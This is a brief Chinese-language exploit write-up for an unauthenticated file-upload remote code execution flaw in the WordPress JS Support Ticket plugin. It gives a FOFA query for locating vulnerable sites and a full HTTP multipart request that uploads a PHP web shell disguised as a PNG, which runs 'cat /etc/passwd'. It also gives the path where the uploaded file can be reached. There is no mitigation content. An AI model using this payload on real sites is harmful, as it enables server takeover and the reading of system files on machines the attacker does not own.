W5-4WordPress-Ticket插件-RCE

漏洞描述：

WordPress中的JS Support Ticket插件存在未经上传漏洞，未经身份验证的攻击者可以上传恶意脚本的服务器，执行任意指令，从而获取服务器权限。

网络测绘:

fofa语法：

FOFA：body=“wp-content/plugins/js-support-ticket”

漏洞复现:

payload：

POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host: your-ip
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=b983c629ca9b1450283a9b8d1b953898

--b983c629ca9b1450283a9b8d1b953898
Content-Disposition: form-data; name="support_custom_img"; filename="qwe.php"
Content-Type: image/png

<?php system("cat /etc/passwd");?>
--b983c629ca9b1450283a9b8d1b953898
Content-Disposition: form-data; name="action"


--b983c629ca9b1450283a9b8d1b953898
Content-Disposition: form-data; name="form_request"

jssupportticket
--b983c629ca9b1450283a9b8d1b953898--

效果图:

验证url

/wp-content/plugins/js-support-ticket/jssupportticketdata/supportImg/上传文件名